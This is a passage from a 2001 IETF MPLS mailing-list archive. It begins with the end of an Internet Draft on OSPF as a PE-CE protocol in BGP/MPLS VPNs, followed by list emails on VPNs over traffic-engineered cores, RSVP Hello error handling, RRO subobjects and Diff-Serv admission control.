   type 2 metric. If the MED is not present, a default type 2 metric=0A=
   value is used.=0A=
=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                 [Page =
12]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
   Otherwise, if the route has an OSPF route type of external route, =
it=0A=
   MUST be advertised to the CE in a type 5 LSA. By default, the MED, =
if=0A=
   present, is converted to a type 1 or type 2 metric, as determined =
by=0A=
   the external route property of the VPN-IPv4 route.  If no MED is=0A=
   present, a default type 2 metric value is used.=0A=
=0A=
   Whenever a type 5 LSA is originated by a PE router and sent to a =
CE=0A=
   router, the VPN Route Tag MUST be placed in the LSA.=0A=
=0A=
   Otherwise, if the route has an OSPF route type of "summary =
route",=0A=
   the route should be treated as if it had been received in an OSPF=0A=
   type 3 LSA. This means that the PE will report the route in a type =
3=0A=
   LSA to the CE. The DN bit is set in this LSA.  (Note that this =
case=0A=
   is possible even if the VPN-IP route carries an area number =
identical=0A=
   to that of the CE router.  This means that if an area is=0A=
   "partitioned" such that the two pieces are connected only via the =
VPN=0A=
   backbone, it appears to be two areas, with inter-area routes =
between=0A=
   them.)=0A=
=0A=
   Note that this way of handling AS-external routes makes every PE=0A=
   appear to be an ASBR attached to all the AS-external routes. In a=0A=
   multihomed site, this can result in a number of type 5 LSAs=0A=
   containing the same information.=0A=
=0A=
=0A=
5. Acknowledgments=0A=
=0A=
   Significant contributions to this work have been made by Derek =
Yeung=0A=
   and Yakov Rekhter.=0A=
=0A=
   Thanks to Ross Callon and Ajay Singhal for their comments.=0A=
=0A=
=0A=
6. Authors' Address=0A=
=0A=
=0A=
   Eric C. Rosen=0A=
   Cisco Systems, Inc.=0A=
   250 Apollo Drive=0A=
   Chelmsford, MA, 01824=0A=
=0A=
   E-mail: erosen@cisco.com=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                 [Page =
13]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
=0A=
   Peter Psenak=0A=
   Parc Pegasus,=0A=
   De Kleetlaan 6A=0A=
   1831 Diegem=0A=
   Belgium=0A=
=0A=
   E-mail: ppsenak@cisco.com=0A=
=0A=
=0A=
=0A=
7. Bibliography=0A=
=0A=
   [EXT] "BGP Extended Communities Attribute", =
draft-ramachandra-bgp-=0A=
   ext-communities-04.txt, Ramachandra, S. and Tappan, D.  May, =
2000.=0A=
=0A=
   [OSPF] "OSPF Version 2", RFC 2328, Moy, J., April 1998.=0A=
=0A=
   [VPN] "BGP/MPLS VPNs", draft-rosen-rfc2547bis-01.txt, Rosen, E., =
et.=0A=
   al., May 2000.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                 [Page =
14]=0A=

------_=_NextPart_000_01C0E208.FB48C580--



From owner-mpls@UU.NET  Mon May 21 11:37:37 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11344
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 11:37:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpzi11225;
	Mon, 21 May 2001 15:35:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkpzi24532
	for mpls-outgoing; Mon, 21 May 2001 15:35:13 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpzi24512
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 15:35:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpzi12464
	for <mpls@UU.NET>; Mon, 21 May 2001 15:34:11 GMT
Received: from nfl.METERA.COM by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: nfl.metera.com [63.114.212.50])
	id QQkpzi09563
	for <mpls@UU.NET>; Mon, 21 May 2001 15:34:10 GMT
Received: from slapshot.metera.com ([12.19.1.154]) by nfl.METERA.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id L2KTGG7Y; Mon, 21 May 2001 10:31:18 -0500
Received: from nyknicks.metera.com (nyknicks [12.19.1.5])
	by slapshot.metera.com (8.9.3+Sun/8.9.1) with ESMTP id KAA16669;
	Mon, 21 May 2001 10:34:08 -0500 (CDT)
Received: from metera.com (localhost [127.0.0.1])
	by nyknicks.metera.com (8.9.3+Sun/8.9.1) with ESMTP id KAA01281;
	Mon, 21 May 2001 10:34:05 -0500 (CDT)
Message-ID: <3B09356D.E8ADD598@metera.com>
Date: Mon, 21 May 2001 10:34:05 -0500
From: Gopal Jayaraman <Gopal.Jayaraman@metera.com>
Organization: Metera Networks
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Eric Osborne <eosborne@cisco.com>
CC: Bala Subrahmanyam Venkata <bsubrahm@doradosoftware.com>,
        mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Re: BGP/MPLS VPN over a TE'd  core..
References: <NDBBKELCHKLNIGOMMOINMENACFAA.bsubrahm@doradosoftware.com> <20010520210852.A14457@che-cse-113.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

there is a draft for discovering the VPN details.

draft-ouldbrahim-bgpvpn-auto-01.txt.

this draft explains how VPN's discover their pre-created LSP's.

regards,
Gopal

Eric Osborne wrote:
> 
> On Sun, May 20, 2001 at 05:10:26PM -0700, Bala Subrahmanyam Venkata wrote:
> > All-
> >
> 
> > Are there any references for creating 'standard' BGP/MPLS VPNs over
> > a traffic engineered core ?
> 
> Nope.
> 
> >  I was reading through Juniper's doc on BGP/MPLS
> > VPN creation (the "MPLS Applications" guide on their website) but it does
> > not specify how I would engineer my core for a specific VPN (specifically,
> > is it possible to select a particular 'pre-created' LSP that I have with
> > explicit hops and certain service parameters for a given BGP/MPLS VPN ?) It
> > will be better if you can tell me if this is a valid requirement for an ISP.
> >
> 
> How (or whether) you can do this is vendor-specific.
> 
> eric
> 
> >
> > TIA,
> >
> > bala
> >
> >
> >


From owner-mpls@UU.NET  Mon May 21 12:24:43 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA12388
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 12:24:43 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpzl01538;
	Mon, 21 May 2001 16:24:17 GMT
Received: by mail-control.mail.uu.net 
	id QQkpzl18630
	for mpls-outgoing; Mon, 21 May 2001 16:23:43 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpzl18622
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 16:23:42 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpzl04821
	for <mpls@uu.net>; Mon, 21 May 2001 16:23:35 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpzl01062
	for <mpls@uu.net>; Mon, 21 May 2001 16:23:34 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id MAA16555 for mpls@uu.net; Mon, 21 May 2001 12:23:34 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpzl18592
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 16:23:02 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpzl01976
	for <mpls@uu.net>; Mon, 21 May 2001 16:22:21 GMT
Received: from miles.dataconnection.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp2.dataconnection.com [192.91.191.8])
	id QQkpzl21187
	for <mpls@uu.net>; Mon, 21 May 2001 16:22:21 GMT
Received: by miles.datcon.co.uk with Internet Mail Service (5.5.2653.19)
	id <LBMDMJ0C>; Mon, 21 May 2001 17:22:09 +0100
Message-ID: <37701240971DD31193970000F6CCB9F7019F6D68@duke.datcon.co.uk>
From: Nic Larkin <NPL@dataconnection.com>
To: Juniper - Kireeti Kompella <kireeti@juniper.net>, yakov@juniper.net
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Unnumbered interface IDs in RROs
Date: Mon, 21 May 2001 17:22:14 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Kireeti, Yakov,

Can you help me with a query about draft-ietf-mpls-rsvp-unnum-01?

Section 7 defines the unnumbered interface subobject of the Record Route
Object.  This subobject has an "Interface ID" field to identify the
unnumbered link.  

My question is: should there also be a "Router ID" field in the definition
of the Record Route subobject, as per the ERO subobject in section 6?  This
would be used to identify which LSR the unnumbered interface belongs to,
e.g. allowing the ingress to construct a strict ERO when doing LSP Pinning.

Thanks and regards,
Nic.

Nic Larkin
Network Convergence Group
Data Connection Ltd
Tel:   +44 20 8366 1177           Fax:   +44 20 8363 1533
Email: npl@dataconnection.com     Web:   http://www.dataconnection.com



From owner-mpls@UU.NET  Mon May 21 12:46:38 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA12946
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 12:46:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpzn01295;
	Mon, 21 May 2001 16:45:09 GMT
Received: by mail-control.mail.uu.net 
	id QQkpzm20169
	for mpls-outgoing; Mon, 21 May 2001 16:44:33 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpzm20161
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 16:44:24 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpzm27925
	for <mpls@uu.net>; Mon, 21 May 2001 16:44:16 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkpzm04995
	for <mpls@uu.net>; Mon, 21 May 2001 16:44:15 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4LGiE912477
	for <mpls@uu.net>; Mon, 21 May 2001 09:44:14 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id MAA29778 for mpls@uu.net; Mon, 21 May 2001 12:44:13 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpzl18517
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 16:21:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpzl29165
	for <mpls@uu.net>; Mon, 21 May 2001 16:21:08 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f184.law10.hotmail.com [64.4.15.184])
	id QQkpzl20708
	for <mpls@uu.net>; Mon, 21 May 2001 16:21:07 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 21 May 2001 09:21:07 -0700
Received: from 212.25.110.131 by lw10fd.law10.hotmail.msn.com with HTTP;	Mon, 21 May 2001 16:21:06 GMT
X-Originating-IP: [212.25.110.131]
From: "Shawn H" <sah5@hotmail.com>
To: mpls@UU.NET
Cc: sah5@hotmail.com
Subject: [MPLS-wg] MPLS in today's networks
Date: Mon, 21 May 2001 16:21:06 -0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F1844R9xC2pKFRyqwdp0000ba57@hotmail.com>
X-OriginalArrivalTime: 21 May 2001 16:21:07.0212 (UTC) FILETIME=[0A0A74C0:01C0E212]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I'm a student currently researching MPLS-TE technologies. With all the 
proposed methods and functionalities, I was wondering if anyone has some 
useful information/pointers to answers to the following questions:
* How widely is traffic engineering over MPLS deployed in today's networks?
* What applications of MPLS are in use today (TE, protection, BGP nexthop 
resolution, etc)?
* How widely used are TE offline planning tools?
* How do different vendors affect different deployments? That is, are the 
common functionalities mostly in use, or are there different proprietary 
methods used in different networks/SPs?

Thanks a lot for any useful information,
Shawn.

_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.



From owner-mpls@UU.NET  Mon May 21 15:46:08 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA17198
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 15:46:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpzy21636;
	Mon, 21 May 2001 19:44:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkpzy07129
	for mpls-outgoing; Mon, 21 May 2001 19:44:04 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpzy07105
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 19:43:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpzy14003
	for <mpls@UU.NET>; Mon, 21 May 2001 19:43:37 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQkpzy20255
	for <mpls@UU.NET>; Mon, 21 May 2001 19:43:37 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id PAA10662
	for <mpls@UU.NET>; Mon, 21 May 2001 15:40:52 -0400 (EDT)
Subject: RSVP hello extension
To: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Mon, 21 May 2001 15:41:04 -0400
Message-ID: <OFF5B71FE6.0F0F0064-ON85256A53.006AFB88@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/21/2001 03:41:05 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

On RSVP -lsp-tunnel-08, section 5.5, I think the clause  "or will response with an "Unknown Object Class" will be dropped,
but it is still there in the latest draft, then I still have following questions.

>so my questions, is this error message put in PathErr message?  Since there is
>no individual error message for Hello message.

This following is email I got from Achieve mail which was post last year.

[Lou's response for my questions]
>>Good point.  The clause "or will response with an "Unknown Object Class"
>>error."  should be dropped.

>>Lou

[My post question last year on Oct.]
>Hello,
>
>On Rsvp-TE page 57, Section 5.5 Compatibility, it says that "Depending on the
>implementation, implementations that do not support the extension will either
>silently discard Hello messages or will response with an "Unknown Object
>Class"
>error."
>
>Hello message  ------->    LSR(implemented not supporting Hello extension)
>                                 <-------     no response(discard hello
> message)
>OR  response with an "Unknown object class" error
>
>so my questions, is this error message put in PathErr message?  Since there is
>not one individual error message for Hello message.
>
>Thanks in advance.
>
>Julia

Thanks,

Julia





From owner-mpls@UU.NET  Mon May 21 17:37:05 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA19208
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 17:37:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqag26320;
	Mon, 21 May 2001 21:35:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkqag29881
	for mpls-outgoing; Mon, 21 May 2001 21:35:24 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqag29870
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 21:35:10 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqag17711
	for <mpls@uu.net>; Mon, 21 May 2001 21:34:51 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkqag10952
	for <mpls@uu.net>; Mon, 21 May 2001 21:34:51 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id RAA08726 for mpls@uu.net; Mon, 21 May 2001 17:34:51 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqag29808
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 21:34:06 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqag21925
	for <mpls@uu.net>; Mon, 21 May 2001 21:34:02 GMT
Received: from sj-msg-core-3.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-3.cisco.com [171.70.157.152])
	id QQkqag22743
	for <mpls@uu.net>; Mon, 21 May 2001 21:34:01 GMT
Received: from mira-sjcm-3.cisco.com (mira-sjcm-3.cisco.com [171.69.24.15])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f4LLWQc08897;
	Mon, 21 May 2001 14:32:26 -0700 (PDT)
Received: from cisco.com (ams-vpdn-client-500.cisco.com [144.254.47.248])
	by mira-sjcm-3.cisco.com (Mirapoint)
	with ESMTP id ABN01097 (AUTH rraszuk);
	Mon, 21 May 2001 14:33:48 -0700 (PDT)
Message-ID: <3B098955.EAA49AF8@cisco.com>
Date: Mon, 21 May 2001 14:32:05 -0700
From: Robert Raszuk <raszuk@cisco.com>
Reply-To: raszuk@cisco.com
Organization: Signature: http://www.employees.org/~raszuk/sig/
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Balagot, Miguel" <mbalagot@riverstonenet.com>
CC: "'Bala Subrahmanyam Venkata '" <bsubrahm@doradosoftware.com>,
        "'mpls-ops@mplsrc.com '" <mpls-ops@mplsrc.com>,
        "'mpls@uu.net '" <mpls@UU.NET>
Subject: Re: BGP/MPLS VPN over a TE'd  core..
References: <329F35B18824D511B9C30008C7339558017EB7@exc-sc1.yagosys.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


How this draft (draft-rosen-vpns-ospf-bgp-mpls-01.txt) is related to the
origial question beats me ;-).

Anyway the answer is very simple.

> Are there any references for creating 'standard' BGP/MPLS VPNs over a
> traffic engineered core ?

Yes it can be done. Note also that running LDP "underneath" can save you
from late night pages of those who lost VPN connectivite only because TE
tunnel failed for some reason. [P routes don't hold VPN routes.] 

> not specify how I would engineer my core for a specific VPN (specifically,
> is it possible to select a particular 'pre-created' LSP that I have with
> explicit hops and certain service parameters for a given BGP/MPLS VPN ?)

One way of doing this is building your TE tunnels to different bgp next
hops (in cisco you can set it under vrf itself). That way traffic for a
given VPN will take the tunnel you have explicitely requested for it.

R.

> "Balagot, Miguel" wrote:
> 
>  Bala,
> Though it's not a standard document, here's a draft that will give you a
> good info in traffic engineering your VPN.
> I hope it helps.
> 
> Miguel
> 
> -----Original Message-----
> From: Bala Subrahmanyam Venkata
> To: mpls-ops@mplsrc.com
> Cc: mpls@uu.net
> Sent: 5/20/01 5:10 PM
> Subject: BGP/MPLS VPN over a TE'd  core..
> 
> All-
> 
> Are there any references for creating 'standard' BGP/MPLS VPNs over a
> traffic engineered core ? I was reading through Juniper's doc on
> BGP/MPLS
> VPN creation (the "MPLS Applications" guide on their website) but it
> does
> not specify how I would engineer my core for a specific VPN
> (specifically,
> is it possible to select a particular 'pre-created' LSP that I have with
> explicit hops and certain service parameters for a given BGP/MPLS VPN ?)
> It
> will be better if you can tell me if this is a valid requirement for an
> ISP.
> 
> TIA,
> 
> bala
> 
> -------
> The MPLS-OPS Mailing List
> Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
> Archive: http://www.mplsrc.com/mpls-ops_archive.shtml
> 
>   ------------------------------------------------------------------------
>                                             Name: draft-rosen-vpns-ospf-bgp-mpls-01.txt
>    draft-rosen-vpns-ospf-bgp-mpls-01.txt    Type: Plain Text (text/plain)
>                                         Encoding: quoted-printable



From owner-mpls@UU.NET  Mon May 21 19:19:59 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA20354
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 19:19:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqan23840;
	Mon, 21 May 2001 23:19:09 GMT
Received: by mail-control.mail.uu.net 
	id QQkqan20160
	for mpls-outgoing; Mon, 21 May 2001 23:18:38 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqan20152
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 23:18:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqan26631
	for <mpls@UU.NET>; Mon, 21 May 2001 23:18:11 GMT
Received: from hopper.math.uwaterloo.ca by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hopper.math.uwaterloo.ca [129.97.78.132])
	id QQkqan26572
	for <mpls@UU.NET>; Mon, 21 May 2001 23:18:11 GMT
Received: from localhost (wwszeto@localhost)
	by hopper.math.uwaterloo.ca (8.8.8/8.8.8) with ESMTP id TAA11013
	for <mpls@UU.NET>; Mon, 21 May 2001 19:18:11 -0400 (EDT)
Date: Mon, 21 May 2001 19:18:10 -0400 (EDT)
From: "Wayne W. Szeto" <wwszeto@hopper.math.uwaterloo.ca>
To: mpls@UU.NET
Subject: admission control for Diff-Serv-aware MPLS network.
Message-ID: <Pine.SOL.4.05.10105211907230.10585-100000@hopper.math.uwaterloo.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Could someone give me some pointers on where I can find information on
doing admission control in a Diff-Serv-aware MPLS network?  Thanks.



From owner-mpls@UU.NET  Mon May 21 19:32:57 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA20500
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 19:32:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqao25834;
	Mon, 21 May 2001 23:31:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkqao21014
	for mpls-outgoing; Mon, 21 May 2001 23:31:17 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqao20986
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 23:31:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqao06398
	for <mpls@UU.NET>; Mon, 21 May 2001 23:31:03 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqao17037
	for <mpls@UU.NET>; Mon, 21 May 2001 23:31:03 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA23499
	for <mpls@UU.NET>; Mon, 21 May 2001 19:31:00 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA16063
	for <mpls@UU.NET>; Mon, 21 May 2001 19:31:02 -0400 (EDT)
Message-ID: <3B09A52C.2B203D33@marconi.com>
Date: Mon, 21 May 2001 19:30:52 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP hello extension
References: <OFF5B71FE6.0F0F0064-ON85256A53.006AFB88@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

> On RSVP -lsp-tunnel-08, section 5.5, I think the clause  "or will
> response with an "Unknown Object Class" will be dropped,
> but it is still there in the latest draft, then I still have
> following questions.

As far as I can tell, this "unknown object class" response should never
happen.  HELLO objects are only specified within the context of Hello
messages.  If a router understands Hello messages, then it will also
understand the HELLO object.  If it does not understand Hello messages,
it will silently drop the message - as RSVP routers are supposed to do
for all unknown messages.

The only time I can imagine a router sending back this message would be
if a HELLO object was included in a Path or Resv message.  But this
shouldn't happen, because the draft has never specified theis behavior.

I suppose you could come up with a contrived case where a router
understood Hello messages but not HELLO objects.  In which case, sending
back an error message would make sense.  But as you have already pointed
out, there is no such thing as a HelloErr message to carry the error
in.  You can't use PathErr or ResvErr, because you don't have any of the
other required objects (like SESSION, SENDER_TEMPLATE or FILTER_SPEC.) 
So even then, the only possible choice is to silently drop the Hello
message.

> so my questions, is this error message put in PathErr message?
> Since there is no individual error message for Hello message.

A router that doesn't understand Hello objects, and receives one in a
Path or Resv message (from a broken router, obviously) will respond with
PathErr or ResvErr as appropriate.

I can't think of any other situation where it would make sense to
generate such an error.  Neither can I think of a sitation where it
would be possible to send back a well-formed error message, even if you
wanted to.

Hence the reason why this possible response will be dropped from the
spec.  There isn't any situation, (other than the contrived case of a
router illegally putting a HELLO object into a Path or Resv message),
where it would even be possible to generate the error message.

-- David


From owner-mpls@UU.NET  Mon May 21 20:49:40 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA21348
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 20:49:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqat14922;
	Tue, 22 May 2001 00:48:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkqat16959
	for mpls-outgoing; Tue, 22 May 2001 00:48:23 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqat16951
